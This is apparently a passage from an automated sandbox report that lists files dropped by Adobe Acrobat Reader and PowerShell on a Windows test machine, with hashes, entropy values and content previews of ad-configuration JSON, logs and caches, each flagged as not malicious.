C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.259626686669972
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfbPtdPeUkwRe9:YvXKXWYpW7Xh5GDV8Ukee9
MD5:	3F2375E3CC981EF187445F387A85CA05
SHA1:	1C6FBE86852260B83B5F87D3FB842650798A5ABF
SHA-256:	16372E9DF806A5E4EAE99E97A9F5E8286456CAF43EAD5B389AE2B62CA722BD3B
SHA-512:	D12DD7A037E9219E7D49F5537BB70FAFDB58D114DC0705B7B997E99D749176963AD1F54FABEB7E57C098DC1987106E0D2D6B0B6443152F7344037CF609ED9D62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.260316770343748
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJf21rPeUkwRe9:YvXKXWYpW7Xh5G+16Ukee9
MD5:	B9AA49D90086FE5A25E4CD2CF7691FD3
SHA1:	58281864D7FA60E4FC348EAA1349D69561386C63
SHA-256:	B3DD7D6CAAB1FB07A3A575B1EE4A23E7F6138F694C443A16BC088BA9EBE6CBFA
SHA-512:	04E8991C4292CB9A8881B34ED5846488186734C9F458E0EE2A779E3A339BD720F020A538FDA8290594B074FA7DB2D8ED4403C366F04DCDDA246FFBEDA900CD37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655999589836198
Encrypted:	false
SSDEEP:	24:Yv6XziXhCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSh:Yv9X2BgkDMUJUAh8cvMh
MD5:	37DB45422B43F45EAB4EA4F031D026E0
SHA1:	BF95B8AE53B08F451A41D17EE954DE629C59C7BB
SHA-256:	6F3CAFCA319EB0F55869C88127DDF963FD3ADB68DBF99C98D2A8AB9CFE8C5B49
SHA-512:	CA8E06D2EEB10479F5B9692621B935A4FB9960695077D419B2C9DA562793487AFEEC5FADC5EBF8D022BC5763DA77F6B4456B99DC8260E0311A3BA91C0CD70AB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.23629526561244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJfshHHrPeUkwRe9:YvXKXWYpW7Xh5GUUUkee9
MD5:	EE71FB857A30230E2ECD03C166736F0D
SHA1:	6CDBEAC1CE9ADE0D5E082F9C49E24AE31B809ACD
SHA-256:	EC1126C8866DB424FF187AA735FF083AE9D2E4A5A126547ED1C83476EECE7E40
SHA-512:	27285598FE5F450C6F03B2D29A45E0484EF3F61D3291DA6E0D68F4003BBEF3A37E822BCC657426722D5F0E798F9768B147EC96E5EDD9AE73BED6F871F64CC366
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.251461410681576
Encrypted:	false
SSDEEP:	6:YEQXJ2HXohGjx+FIbRI6XVW7+0Y+hDeoAvJTqgFCrPeUkwRe9:YvXKXWYpW7Xh5GTq16Ukee9
MD5:	8AE0E578944579AD2A13AF22E5F5681D
SHA1:	72E3001ECF00E6F3B214C5F7F02BC49D122167AE
SHA-256:	4DEA1674E4BEEDB5F55948B253ABF5712310783747A3E2447CBDF9326493954C
SHA-512:	E3588257262C5AB761A5FF883806C5E91D28634439191A3DA4A9EE83B7FC61A5A589A2C9348BB10EF0C184362F0E46F65F31D7E5FA2904205FA4D5792A4A737A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e6b2e767-5355-4eec-996b-952cdce75dc9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736748834072,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148330441952314
Encrypted:	false
SSDEEP:	48:YfuxFg++IcPBTldj9Rkx6LAM56y1qZ9i9:Xg+lcP/l9a5k6kqi9
MD5:	428D5E4E61141B2193FF2A1AA9C616F4
SHA1:	5CCF55849E4341E6FF6F8F0963B8F3A3C98EEA5C
SHA-256:	16F35D73B17B7BFDFA7636D35A3AA8A9E8F0BCA7E7FDD15182C4E2F9E3FB8F79
SHA-512:	307B0DF88BE534E463346F8B6311B1AC56D8AA6A482893B150360AC225045BC238CA93EF2ABCA160CFDA70D8363A77348B5F210009F2D56E0D8B4046C278E766
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"023e2ca8528d3784c40b4c4920ac99a3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570318000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e15b668be76d28e220177000543446d1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570318000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9a881a87cb6f8b9828bc57a97f816a6d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570318000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4fa4c61a35ff5b795e25cdc35327be24","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570318000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"17cd27027fa877a45f9b9baae74c9fcb","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570318000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"791d7b8f136cb8ecd7da677b03b00292","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9850763411308922
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpKDC4zJwtNBwtNbRZ6bRZ4jDCF:TVl2GL7ms6ggOVpwzutYtp6PP
MD5:	B95CC97D5BFDB6554F010223567DA651
SHA1:	4D87A51506C4BAC9EDB4AA4126238F2DDD0B6EB8
SHA-256:	22E16243CD4A173D913C09EE47BC1EC8471C9ACCC8459E5887EFB01CD558EA72
SHA-512:	E230C065E6E8F6931A1BD81D9139FF4FD096A504EDF857136F78D60ECAA671AC4BA73BC8AF4519A14830B49DCDEB4BB04EBE305EE83E26449FE1E214A62D0425
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.337727811837081
Encrypted:	false
SSDEEP:	24:7+t7mAD1RZKHs/Ds/SpKDCPzJwtNBwtNbRZ6bRZWf1RZK0qLBx/XYKQvGJF7ursz:7MyGgOVp3zutYtp6PMJqll2GL7msz
MD5:	17E923299759482AAACE989E21CA22E7
SHA1:	FCB85A78EFDF356B1CFFF747E6B7C429FB1340DD
SHA-256:	49A6BB014FB22242EB7E28A15EE0D2A52F4288C1F28EE2C5413F8FA46CA4E75F
SHA-512:	6B7E1FBE45A4375821BBAF509C3BDDEB0C734FA670CF02B086F17E56A511E77FC089A1264F3097ED8294FFB3A8F47178F95B2AE5899E068174B6B95E1BA4797E
Malicious:	false
Preview:	.... .c.....4.x.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgGJOkSYK71e1J6V8cEk9dMEwq4wYyu:6a6TZ44ADEGwkSYKV8Jk9DL4wK
MD5:	BB0725E106C6AC331C0402977F30C10B
SHA1:	B5FDD59F168F196FD55889D7EE26FFC9F71DC8D9
SHA-256:	95B0B8DD0BFA26B0512A6FBCD7A08C2065A3376AD279ACA1F8FD3A852A966F39
SHA-512:	5E90916CBF2FFE9871C361E739D27B95A6AEE168BA9BB21F7221A0FA6ABB19CCC2B87614C665828946DE3BECDE2F25660DDADAA7E76EDA8D109772EEC072FB2C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI66b0c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl/NgH:Qw946cPbiOxDlbYnuRK+bYG
MD5:	BAD3F56CFADC85B460D04A8BD74F951B
SHA1:	BF1B23DBC084A409C6166A6D56785BB9150A92C7
SHA-256:	FAE57B256C7D7B982560CBBFF80E224B16EF8B6F62F613FA1A586FB047F7EBA3
SHA-512:	C8C565C9C8D5C4AD70D94C9411383352B40F3148F4D26BDD83E949EC87F31B84651F61AFC103D69E198237C3783E60D08AF29D1C726B23A101BCFDD95C78BEA3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.3.8.:.4.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vseukod.bwv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vbd0vh1t.uuj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-38-34-586.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3758473199563825
Encrypted:	false
SSDEEP:	384:whzQbdmfZpM2xy/utHKXDM5LwIBxuY0yTAVJjnTc5Eps3s1sMsKTpTDTcTopTzT/:010G0jBlno6n0nwzJIi
MD5:	55819864FE3D64BA1E8352A4ED99D720
SHA1:	E8389327CBDDA16E4D0AAE70D7357B8507904B75
SHA-256:	FA1193DBFFB58EA06756A483803F2E65BB8CCFE855920C9240A4115864331E6C
SHA-512:	F396E8893DC1F08D43DD6C6FDEEC2583952B0BC37AC7B56F70430572A3893FA57C8B1E396F046DF83E96BE5E0F00E98B61A59C3669816B380E84AB8DB784AC2B
Malicious:	false
Preview:	SessionID=e9b7c86a-3ed0-4a9d-9289-83d1df2b864b.1736570314604 Timestamp=2025-01-10T23:38:34:604-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e9b7c86a-3ed0-4a9d-9289-83d1df2b864b.1736570314604 Timestamp=2025-01-10T23:38:34:635-0500 ThreadID=7940 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e9b7c86a-3ed0-4a9d-9289-83d1df2b864b.1736570314604 Timestamp=2025-01-10T23:38:34:635-0500 ThreadID=7940 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e9b7c86a-3ed0-4a9d-9289-83d1df2b864b.1736570314604 Timestamp=2025-01-10T23:38:34:635-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e9b7c86a-3ed0-4a9d-9289-83d1df2b864b.1736570314604 Timestamp=2025-01-10T23:38:34:635-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398717346821014
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbM:D8
MD5:	6ECFE47D36D8F5DF1AB55AD5074813FC
SHA1:	5308821838DA835DED112D8B2B8C7FCDC526406B
SHA-256:	606A54547BC96DBF8159D42584DDCA727EB070E303EC4BAD1D42B8173CE448AC
SHA-512:	FD45B74BA4118DB6D269E7FC9E93A85CAEC5603C81B8955DC108097CBE1BA18B7F4BED6486D5B76BCCDFAD4E11022E272DCE8B6AC71758F840E4C2B00EF1A21B
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5ab8cd69-4545-4f59-985f-8964b1941891.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\65818574-c171-4b40-ab34-7904b875ff68.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b970d0cc-876b-4b78-81af-0f6b76f2781b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
